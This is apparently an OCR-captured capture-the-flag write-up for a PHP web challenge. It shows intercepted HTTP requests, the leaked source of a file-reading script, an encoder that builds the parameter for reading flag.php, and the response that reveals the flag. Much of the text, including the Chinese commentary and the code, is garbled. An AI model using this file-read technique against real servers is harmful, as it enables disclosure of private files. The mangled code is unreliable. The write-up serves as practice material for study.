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Raw | Headers | Hex Raw | Headers | Hex HTMLIRender]

GET /HTTPM 1

Hest: ctfgame.acdxvfsvd net 20008

User-Agent: Mozilla/s.0 (Windows MT 10.0; WOWES, rv:46.0) Gecko/20100101 Firefox/46.0
Accept: texthtml applicationfhtmi+xml applicationixmlg=0.9 **q=0.8

Accept-Language: zh-CH zh;g=0.8 en-US;4=0.5 eng=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close
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GET 5POST J5 92 525 :

GET /books/?sex=man&name=Professional HTTP/1.1 //XHBHEZE—TF

Host: www.wrox.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1

Connection: Keep-Alive

POST / HTTP/1.1

Host: www.wrox.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1

Content-Type: application/x-www-form-urlencoded //POSTHIERITZE T XA
Content-Length: 40

Connection: Keep-Alive
(---- B —4F----)
name=Professional’%20Ajax&publisher=Wiley
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POST JHTTPA1|

Host: ctfgame.acdxvfsvd.net: 20008

User-Agent: Mozilla/5.0 (Winclows NT 10.0; WOWE4,; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: textihtml application/xhtmbsml applicationsml; g=0.9 * =0 8

Contert-Type: applicationfx-www-form-urlencoded

Accept-Language: zh-CN zh;q=0.8 en-US;g=0 5 en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Contert-Length: 10

viewsource
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<code><span style="color; #000000">
=span style="color: #000056">&H; 2php<br />error_reporting=ispan=<span style="color: #007700">(</span=<span
style="color: #0000BB">0</span><span style="color: #007700">);<br />include&nbsp;=/span><span style="color:
#DD0000"="getip.php'<ispan=<span style="color: #007700"s;<hr f></span=<span style="color: #0000BE">ini_set</span=<span
style="color: #007700">{</span><span style="color: #DD0000">'open_basedir'<ispan>=span style="color
#007700"=,</span=<span style="color: #DD0000">"."</span=><span style="color: #007700"=);<br i=ifisset(<ispan=<span
style="color: #0000BE"=$_POST=/span><span style="color: #007700"=[</span=<span style="color:
#DDO000">"viewsource'=/span=><span style="color: #007700">])<br />&nbsp;E&nbsp;&nbsp;&nbsp;<ispan><span
style="color: #0000BE"=highlight_file</span=<span style="color: £007700"(</span=<span style="color
#0000BB">__FILE__=/span>=span style="color: #007700"=);<hr ief);<br /=}<br [><hr
I=<[span=<span style="color: #0000BE">mt_srand</span=<span style="color: #007700"=(</span=<span style="color:
#0000BE">mktime=/span=<span style="color: #007700"(}+<ispan=<span style="color. £0000BE">$seed<ispan=<span
style="color: #007700"=);<br f><br f=function&nbsp;</span><span style="color: #000066">de_code</span=<span
style="color: #007700">(</span=<span style="color: #0000B6">$value=/span=<span style="color: #007700"=}<br
[>&nbsp;&nbsp;&nbsp;&nbspi=/span==span style="color: #0000BE">$value &Enbsp;<ispan>=span style="color:
#007700">=&nbsp;=/span=<span style="color: #00005E"=base64_decode</span=<span style="color:
#007700">(=/span=><span style="color: #0000BE">$walue</span==span style="color: #007700"=);<br
[=-&nbsp;&nbsp;&nbsp;&nbsp;</span=<span style="color: #0000BE"=$result&nbsp;</span=<span style="color:
#007700">=&nbsp;</span=<span style="color: #DD0000""</span=<span style="color £007700">3=br
[-&nbsp;&nbsp;&nbsp;&nbspifor(</span><span style="color: #0000BE">%$i</span=<span style="color:
#007700"s==/span=<span style="color: #0000BB"=0</span=<span style="color: #007700"
#0000BE">$i</span><span style="color: #007700">&H;=/span>=span style="color: #0000B6">strlen=/span><span style="color:




‘getip.php’;
ini_set('open_basedir','.");
if(isset($ _POST[ 'viewsource'])){

highlight file(__ FILE );
die();

mt_srand(mktime()+$seed);

function de_ code($value){
$value = base64 decode($value);
$result = '';
for($i=0;%i<strlen($value);$i++){
$result .= chr(ord($value[$i])-$i*2);
¥

return $result;

=== '127.0.0.1"' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intv
['go_Lakers']))){
header('location:https://bbs.hupu.com/24483652.html?share_from=kqapp');
}else{
echo 'great';

echo file get contents(de_code($_GET['file ']));

?>

<IDOCTYPE html>

FURBEIE.. FE—TIE




error_reporting(@); // R<MEIRRE
PHP ini_setHRi&Ephp.inifE, TERBPATHIBRAER, MALERE, ®WERK. BR/ITHphp. iniXH, HMEEEBHEE
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%ISR #5"open_basedir = /dir/user”, IAHZ "/dir/user" F "/dir/userl"#F

FTUATT A BT A SR EEK 5 I BRIEE QU TR I B %, ERARIKRE R RS . Bl Em:

"open_basedir = /dir/user/"

chr()MARFER ASCIT {HIR[EIFFF:

ord()ord() BRHUR[EIFRFEKIEANFRH ASCII fH.
file_get_contents() HREFIEBEANTHIAN—ANFEREHH
mt_rand() M Mersenne Twister &%k 6 FEHLE
intval() BR¥H TIREUR & 1 EHIE .
file_get_contents — MEANXHEN—NERFH

—FFEE LA R mt_rand () B B IR TR
SRR IX AN KB R B

echo file get contents(de_code($_GET['file ']));

getfI N A& iEidde_code()s B
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Stflag.phpHEAT N

<?php
function en_code($value){
$result = '';
for($i=0;%i<strlen($value);$i++){
$result .= chr(ord($value[$i])+$i*2);
}

$result = base64_encode($result);
return $result;

}
echo en_code('flag.php');

?>
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Request
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Response

Raw | Headers | Hex

GET /?ile_=ZmaIbTZ6cdH4= HTTPA 1 -_-—

Host: ctfgame.acdxvfsvd.net: 20008

User-Agent: Mozillal5.0 (Windows NT 10.0; WOWE4, rv:46.0) Gecko/20100101 Firefox/46.0
Accept: texthtml application/xhtml+xml applicationfmlg=0.9 **g=08

Accept-Language: zh-CN zh;g=0.8 en-US;g=0.5 en;g=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close
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<7php
Fflag="nctf{2015_i_want_fupo_and_fuloli}";

=IDOCTYPE html=
=html=
<heail>
<title I I < it e
=ihead>
<hody=
=h3= Fl fEMEE<h3=
=/hody=
=/htrml=>
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